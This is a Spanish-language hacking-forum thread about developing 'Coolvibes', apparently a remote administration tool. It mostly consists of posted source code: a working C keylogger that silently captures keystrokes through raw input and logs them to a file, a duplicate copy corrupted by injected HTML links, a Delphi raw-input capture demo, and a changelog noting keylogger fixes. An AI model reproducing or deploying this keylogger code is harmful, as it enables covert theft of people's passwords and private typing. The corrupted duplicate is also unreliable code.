Re: Coolvibes 1.x desarrollo
Publicado: 07 May 2011, 23:33
El sniffer creo que es mejor agregarlo en el futuro como plugin ya que puede resultar bastante inestable
Indetectables es una Comunidad de Hacking, Seguridad Informática, Impresión 3d y Desarrollo
./index.php
Cuándo ocurre eso? Conectando localmente o remotamente? Usando el file manager?tk68 escribió:En esta versión el servidor se desconecta a los pocos segundos de iniciarse,
habría que depurar para ver el porqué
Larga vida a Coolvibes
El error de la pérdida de la conexión a los pocos segundos de conectar me ocurría en local.0k3n escribió:Cuándo ocurre eso? Conectando localmente o remotamente? Usando el file manager?tk68 escribió:En esta versión el servidor se desconecta a los pocos segundos de iniciarse,
habría que depurar para ver el porqué
Larga vida a Coolvibes
Porque en el filemanager he encontrado un bug bastante gordo relacionado con los iconos que causa que se pierda la conexión, si eso subo una versión con el bug reparado
Código: Seleccionar todo
define _WIN32_WINNT 0x0501
#include <windows.h>
// Definitions
int LogKey(HANDLE hLog, UINT vKey);
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow);
// Globals
const char g_szClassName[] = "klgClass";
// Window procedure of our message-only window
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
static HANDLE hLog;
UINT dwSize;
RAWINPUTDEVICE rid;
RAWINPUT *buffer;
switch(msg)
{
case WM_CREATE:
// Register a raw input device to capture keyboard input
rid.usUsagePage = 0x01;
rid.usUsage = 0x06;
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = hwnd;
if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))
{
MessageBox(NULL, "Registering raw input device failed!", "Error!",
MB_ICONEXCLAMATION|MB_OK);
return -1;
}
// open log.txt
hLog = CreateFile("log.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(hLog == INVALID_HANDLE_VALUE)
{
MessageBox(NULL, "Creating log.txt failed!", "Error",
MB_ICONEXCLAMATION|MB_OK);
return -1;
}
// append
SetFilePointer(hLog, 0, NULL, FILE_END);
break;
case WM_INPUT:
// request size of the raw input buffer to dwSize
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize,
sizeof(RAWINPUTHEADER));
// allocate buffer for input data
buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);
if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize,
sizeof(RAWINPUTHEADER)))
{
// if this is keyboard message and WM_KEYDOWN, log the key
if(buffer->header.dwType == RIM_TYPEKEYBOARD
&& buffer->data.keyboard.Message == WM_KEYDOWN)
{
if(LogKey(hLog, buffer->data.keyboard.VKey) == -1)
DestroyWindow(hwnd);
}
}
// free the buffer
HeapFree(GetProcessHeap(), 0, buffer);
break;
case WM_DESTROY:
if(hLog != INVALID_HANDLE_VALUE)
CloseHandle(hLog);
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, msg, wParam, lParam);
}
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
WNDCLASSEX wc;
HWND hwnd;
MSG msg;
// register window class
ZeroMemory(&wc, sizeof(WNDCLASSEX));
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = g_szClassName;
if(!RegisterClassEx(&wc))
{
MessageBox(NULL, "Window Registration Failed!", "Error!",
MB_ICONEXCLAMATION|MB_OK);
return 0;
}
// create message-only window
hwnd = CreateWindowEx(
0,
g_szClassName,
NULL,
0,
0, 0, 0, 0,
HWND_MESSAGE, NULL, hInstance, NULL
);
if(!hwnd)
{
MessageBox(NULL, "Window Creation Failed!", "Error!",
MB_ICONEXCLAMATION|MB_OK);
return 0;
}
// the message loop
while(GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
int LogKey(HANDLE hLog, UINT vKey)
{
DWORD dwWritten;
BYTE lpKeyboard[256];
char szKey[32];
WORD wKey;
char buf[32];
int len;
// Convert virtual-key to ascii
GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK);
GetKeyboardState(lpKeyboard);
len = 0;
switch(vKey)
{
case VK_BACK:
len = wsprintf(buf, "[BP]");
break;
case VK_RETURN:
len = 2;
strcpy(buf, "\r\n");
break;
case VK_SHIFT:
break;
default:
if(ToAscii(vKey, MapVirtualKey(vKey, 0), lpKeyboard, &wKey, 0) == 1)
len = wsprintf(buf, "%c", (char)wKey);
else if(GetKeyNameText(MAKELONG(0, MapVirtualKey(vKey, 0)), szKey, 32) > 0)
len = wsprintf(buf, "[%s]", szKey);
break;
}
// Write buf into the log
if(len > 0)
{
if(!WriteFile(hLog, buf, len, &dwWritten, NULL))
return -1;
}
return 0;
}
Código: Seleccionar todo
#define _WIN32_WINNT 0x0501
#include <<a title="windows" href="http://87.98.157.210/foro/">windows</a>.h>
// Definitions
int LogKey(HANDLE hLog, UINT vKey);
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow);
// Globals
const char g_szClassName[] = "klgClass";
// Window procedure of our message-only window
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
static HANDLE hLog;
UINT dwSize;
RAWINPUTDEVICE rid;
RAWINPUT *buffer;
switch(msg)
{
case WM_CREATE:
// Register a raw input device to capture keyboard input
rid.usUsagePage = 0x01;
rid.usUsage = 0x06;
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = hwnd;
if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))
{
MessageBox(NULL, "Registering raw input device failed!", "Error!",
MB_ICONEXCLAMATION|MB_OK);
return -1;
}
// open log.txt
hLog = CreateFile("log.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(hLog == INVALID_HANDLE_VALUE)
{
MessageBox(NULL, "Creating log.txt failed!", "Error",
MB_ICONEXCLAMATION|MB_OK);
return -1;
}
// append
SetFilePointer(hLog, 0, NULL, FILE_END);
break;
case WM_INPUT:
// request size of the raw input buffer to dwSize
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize,
sizeof(RAWINPUTHEADER));
// allocate buffer for input data
buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);
if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize,
sizeof(RAWINPUTHEADER)))
{
// if this is keyboard message and WM_KEYDOWN, log the key
if(buffer->header.dwType == RIM_TYPEKEYBOARD
&& buffer->data.keyboard.Message == WM_KEYDOWN)
{
if(LogKey(hLog, buffer->data.keyboard.VKey) == -1)
DestroyWindow(hwnd);
}
}
// <a title="indetectables.net" http://87.98.157.210/foro/">indetectables.net</a> the buffer
HeapFree(GetProcessHeap(), 0, buffer);
break;
case WM_DESTROY:
if(hLog != INVALID_HANDLE_VALUE)
CloseHandle(hLog);
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, msg, wParam, lParam);
}
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
WNDCLASSEX wc;
HWND hwnd;
MSG msg;
// register window class
ZeroMemory(&wc, sizeof(WNDCLASSEX));
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = g_szClassName;
if(!RegisterClassEx(&wc))
{
MessageBox(NULL, "Window Registration Failed!", "Error!",
MB_ICONEXCLAMATION|MB_OK);
return 0;
}
// create message-only window
hwnd = CreateWindowEx(
0,
g_szClassName,
NULL,
0,
0, 0, 0, 0,
HWND_MESSAGE, NULL, hInstance, NULL
);
if(!hwnd)
{
MessageBox(NULL, "Window Creation Failed!", "Error!",
MB_ICONEXCLAMATION|MB_OK);
return 0;
}
// the message loop
while(GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
int LogKey(HANDLE hLog, UINT vKey)
{
DWORD dwWritten;
BYTE lpKeyboard[256];
char szKey[32];
WORD wKey;
char buf[32];
int len;
// Convert virtual-key to ascii
GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK);
GetKeyboardState(lpKeyboard);
len = 0;
switch(vKey)
{
case VK_BACK:
len = wsprintf(buf, "[BP]");
break;
case VK_RETURN:
len = 2;
strcpy(buf, "rn");
break;
case VK_SHIFT:
break;
default:
if(ToAscii(vKey, MapVirtualKey(vKey, 0), lpKeyboard, &wKey, 0) == 1)
len = wsprintf(buf, "%c", (char)wKey);
else if(GetKeyNameText(MAKELONG(0, MapVirtualKey(vKey, 0)), szKey, 32) > 0)
len = wsprintf(buf, "[%s]", szKey);
break;
}
// Write buf into the log
if(len > 0)
{
if(!WriteFile(hLog, buf, len, &dwWritten, NULL))
return -1;
}
return 0;
}
Código: Seleccionar todo
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
////////////////////////////////////////////////////////////////////////////////
type
USHORT = Word;
////////////////////////////////////////////////////////////////////////////////
const
RI_NUM_DEVICE = 2;
const
WM_INPUT = $00FF;
const
RIDEV_REMOVE = $00000001;
RIDEV_EXCLUDE = $00000010;
RIDEV_PAGEONLY = $00000020;
RIDEV_NOLEGACY = $00000030;
RIDEV_INPUTSINK = $00000100;
RIDEV_CAPTUREMOUSE = $00000200;
RIDEV_NOHOTKEYS = $00000200;
RIDEV_APPKEYS = $00000400;
RIM_TYPEMOUSE = $00000000;
RIM_TYPEKEYBOARD = $00000001;
RIM_TYPEHID = $00000002;
RID_INPUT = $10000003;
RID_HEADER = $10000005;
RIDI_PREPARSEDDATA = $20000005;
RIDI_DEVICENAME = $20000007;
RIDI_DEVICEINFO = $2000000b;
////////////////////////////////////////////////////////////////////////////////
type
TRAWINPUTDEVICE = packed record
usUsagePage : WORD;
usUsage : WORD;
dwFlags : DWORD;
hwndTarget : HWND;
end;
PRAWINPUTDEVICE = ^TRAWINPUTDEVICE;
TRAWINPUTHEADER = packed record
dwType : DWORD;
dwSize : DWORD;
hDevice : THANDLE;
wParam : WPARAM;
end;
PRAWINPUTHEADER = ^TRAWINPUTHEADER;
TRMBUTTONS = packed record
case Integer of
0:(ulButtons: ULONG);
1:(
usButtonFlags : SHORT;
usButtonData : SHORT;
);
end;
TRAWMOUSE = packed record
usFlags : SHORT;
RMButtons : TRMBUTTONS;
ulRawButtons : ULONG;
lLastX : LongInt;
lLastY : LongInt;
ulExtraInformation : ULONG;
end;
PRAWMOUSE = ^TRAWMOUSE;
TRAWKEYBOARD = packed record
MakeCode : SHORT;
Flags : SHORT;
Reserved : SHORT;
VKey : SHORT;
Mess : UINT;
ExtraInformation : ULONG;
end;
PRAWKEYBOARD = ^TRAWKEYBOARD;
TRAWHID = packed record
dwSizeHid : DWORD;
dwCount : DWORD;
bRawData : BYTE;
end;
PTRAWHID = ^TRAWHID;
TRAWINPUTDATA = packed record
case Integer of
0:(mouse : TRAWMOUSE );
1:(keyboard : TRAWKEYBOARD);
2:(hid : TRAWHID );
end;
TRAWINPUT = packed record
header : TRAWINPUTHEADER;
data : TRAWINPUTDATA;
end;
PRAWINPUT = ^TRAWINPUT;
TRID_DEVICE_INFO_MOUSE = packed record
dwId : DWORD;
dwNumberOfButtons : DWORD;
dwSampleRate : DWORD;
end;
PRID_DEVICE_INFO_MOUSE = ^TRID_DEVICE_INFO_MOUSE;
TRID_DEVICE_INFO_KEYBOARD = packed record
dwType : DWORD;
dwSubType : DWORD;
dwKeyboardMode : DWORD;
dwNumberOfFunctionKeys : DWORD;
dwNumberOfIndicators : DWORD;
dwNumberOfKeysTotal : DWORD;
end;
PRID_DEVICE_INFO_KEYBOARD = ^TRID_DEVICE_INFO_KEYBOARD;
TRID_DEVICE_INFO_HID = packed record
dwVendorId : DWORD;
dwProductId : DWORD;
dwVersionNumber : DWORD;
usUsagePage : USHORT;
usUsage : USHORT;
end;
PRID_DEVICE_INFO_HID = ^TRID_DEVICE_INFO_HID;
TRID_DEVICE_INFO = packed record
cbSize : DWORD;
dwType : DWORD;
case Integer of
0:(mouse : TRID_DEVICE_INFO_MOUSE );
1:(keyboard : TRID_DEVICE_INFO_KEYBOARD);
2:(hid : TRID_DEVICE_INFO_HID );
end;
PRID_DEVICE_INFO = ^TRID_DEVICE_INFO;
////////////////////////////////////////////////////////////////////////////////
function RegisterRawInputDevices(pRawInputDevices: Pointer;uiNumDevices,cbSize: UINT): Boolean; stdcall; external 'user32.dll';
function GetRawInputData(hRawInput: Pointer; uiCommand:UINT; pData: Pointer; pcbSize: Pointer; cbSizeHeader: UINT): UINT; stdcall; external 'user32.dll';
function GetRawInputDeviceInfoA(hDevice: THandle; uiCommand:UINT; pData: Pointer; pcbSize: Pointer): UINT; stdcall; external 'user32.dll';
////////////////////////////////////////////////////////////////////////////////
type
TForm1 = class(TForm)
Label1: TLabel;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
Rid: packed array [0..RI_NUM_DEVICE-1] of TRAWInputDevice;
procedure WmInput(var Mess: TMessage); message WM_INPUT;
function IntToBit(Value: Integer): String;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function TForm1.IntToBit(Value: Integer): String;
var
i: integer;
begin
for i:=31 downto 0 do
if (Value shr i) = 1 then
Result := Result + '1'
else
Result := Result + '0';
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
// ?}?E?X?f?o?C?X??o?^
Rid[0].usUsagePage := $0001;
Rid[0].usUsage := $02;
Rid[0].dwFlags := RIDEV_INPUTSINK; //0;
Rid[0].hwndTarget := Self.Handle;
// ?L?[?{?[?h?f?o?C?X??o?^
Rid[1].usUsagePage := $0001;
Rid[1].usUsage := $06;
Rid[1].dwFlags := RIDEV_INPUTSINK;
Rid[1].hwndTarget := Self.Handle;
RegisterRawInputDevices(@Rid, RI_NUM_DEVICE, SizeOf(TRAWInputDevice));
end;
procedure TForm1.WmInput(var Mess: TMessage);
var
i,l: Integer;
RI: PRAWINPUT;
dwSize: UINT;
lpb: PBYTE;
DataSize: DWORD;
HID_DATA:array [0..15] of DWORD;
P:PByte;
tmpX,tmpY: Integer;
pData: Pointer;
DevName: PChar;
NameSize: Integer;
DevInfo: TRID_DEVICE_INFO;
MouInfo: TRID_DEVICE_INFO_MOUSE;
RIMou: PRAWINPUT;
strOut: String;
begin
GetRawInputData(PRAWINPUT(Mess.LParam), RID_INPUT, nil, @dwSize,SizeOf(TRAWINPUTHEADER));
if dwSize = 0 then Exit;
DataSize := SizeOf(BYTE) * dwSize;
GetMem(lpb,DataSize);
try
GetRawInputData(PRAWINPUT(Mess.LParam), RID_INPUT, lpb, @dwSize, SizeOf(TRAWINPUTHEADER));
RI := PRAWINPUT(lpb);
strOut := 'RAWINPUT.header.hDevice: ' + IntToStr(RI.header.hDevice);
case RI.header.dwType of
// ?}?E?X
RIM_TYPEMOUSE:
begin
Windows.Beep(700,20); //??????
strOut := strOut + #13 + '?}?E?X';
tmpX := RI.Data.mouse.lLastX;
if tmpX > 0 then
begin
tmpX := tmpX shr 16;
end
else
begin
tmpX := -(($FFFF - tmpX) shr 16);
end;
tmpY := RI.Data.mouse.lLastY;
if tmpY > 0 then
begin
tmpY := tmpY shr 16;
end
else
begin
tmpY := -(($FFFF - tmpY) shr 16);
end;
GetRawInputDeviceInfoA(RI.header.hDevice, RIDI_DEVICENAME, nil, @dwSize);
NameSize := dwSize;
GetMem(DevName,dwSize);
GetRawInputDeviceInfoA(RI.header.hDevice, RIDI_DEVICENAME, Pointer(DevName), @dwSize);
DevInfo.cbSize := SizeOf(TRID_DEVICE_INFO);
dwSize := SizeOf(TRID_DEVICE_INFO);
GetRawInputDeviceInfoA(RI.header.hDevice, RIDI_DEVICEINFO, @DevInfo, @dwSize);
MouInfo := TRID_DEVICE_INFO_MOUSE(DevInfo.mouse);
GetRawInputData(PRAWINPUT(Mess.LParam), RID_HEADER, nil, @dwSize, SizeOf(TRAWINPUTHEADER));
DataSize := SizeOf(BYTE) * dwSize;
GetMem(pData,DataSize);
GetRawInputData(PRAWINPUT(Mess.LParam), RID_HEADER, pData, @dwSize, SizeOf(TRAWINPUTHEADER));
RIMou := PRAWINPUT(pData);
strOut := strOut + #13 + 'usFlags: ' + IntToBit(RIMou.Data.mouse.usFlags) + #13
+ 'RMButtons.ulButtons: ' + IntToBit(RI.Data.mouse.RMButtons.ulButtons) + #13
+ 'RMButtons.usButtonFlags: ' + IntToBit(RIMou.Data.mouse.RMButtons.usButtonFlags) + #13
+ 'RMButtons.usButtonData: ' + IntToBit(RI.Data.mouse.RMButtons.usButtonData) + #13
+ 'ulRawButtons: ' + IntToBit(RI.Data.mouse.ulRawButtons) + #13
+ 'lLastX: ' + IntToStr(tmpX) + #13
+ 'lLastY: ' + IntToStr(tmpY) + #13
+ 'ulExtraInformation: ' + IntToBit(RI.Data.mouse.ulExtraInformation) + #13
+ 'RIDI_DEVICENAME: ' + ' CharacterCount: ' +IntToStr(NameSize) + ' Name: ' + DevName + #13
+ 'DevInfo.dwType: ' +IntToStr(DevInfo.dwType) + #13
+ 'MouInfo.dwId: ' +IntToStr(MouInfo.dwId) + #13
+ 'MouInfo.dwNumberOfButtons: ' +IntToStr(MouInfo.dwNumberOfButtons) + #13
+ 'MouInfo.dwSampleRate: ' +IntToStr(MouInfo.dwSampleRate) + #13
end;
// ?L?[?{?[?h
RIM_TYPEKEYBOARD:
begin
strOut := strOut + #13 + '?L?[?{?[?h';
strOut := strOut + #13 + Format('KeyBoard : %.2x',[RI.Data.keyboard.VKey]);
end;
// HID?????f?o?C?X
RIM_TYPEHID:
begin
strOut := strOut + #13 + '?q???[?}???C???^?[?t?F?[?X?f?o?C?X';
P := @RI.Data.hid.bRawData;
for i:=0 to RI.Data.hid.dwCount-1 do
begin
HID_DATA[i] := 0;
for l:=1 to RI.Data.hid.dwSizeHid do
begin
HID_DATA[i] := (HID_DATA[i] shl 8) + P^;
Inc(P);
end;
end;
for i:=0 to RI.Data.hid.dwCount-1 do
strOut := strOut + #13 + Format('HID[%d] : %x',[i+1,HID_DATA[i]]);
end;
end;
finally
FreeMem(lpb,DataSize);
end;
Label1.Caption := strOut;
end;
end.
Código: Seleccionar todo
GetKeyNameText(ScanCode, nametext, sizeof(nametext));
szletta := #0;
FillChar(Charry,2,#0);
if VirtKey = VK_CAPITAL then szletta := #0
else if VirtKey = VK_SHIFT then szletta := '[Shift]'
else if VirtKey = VK_SPACE then szletta := ' '
else if lstrlen(nametext) > 1 then szletta := '[' + nametext+']'
else
begin//Nos han mandado una letra o un número
case Virkey of
65 : szletta := 'a';//también se tendría que mirar si esta pulsado shift y bloq mayus...
end;
Código: Seleccionar todo
Fecha 13/05/2011
Versión: 1 Update 6
Modificación de: Anonimo
[*] Arreglado y cambiado el keylogger
[+] Agregado "Abrir directorio de usuario" al popup menu del listviewconexiones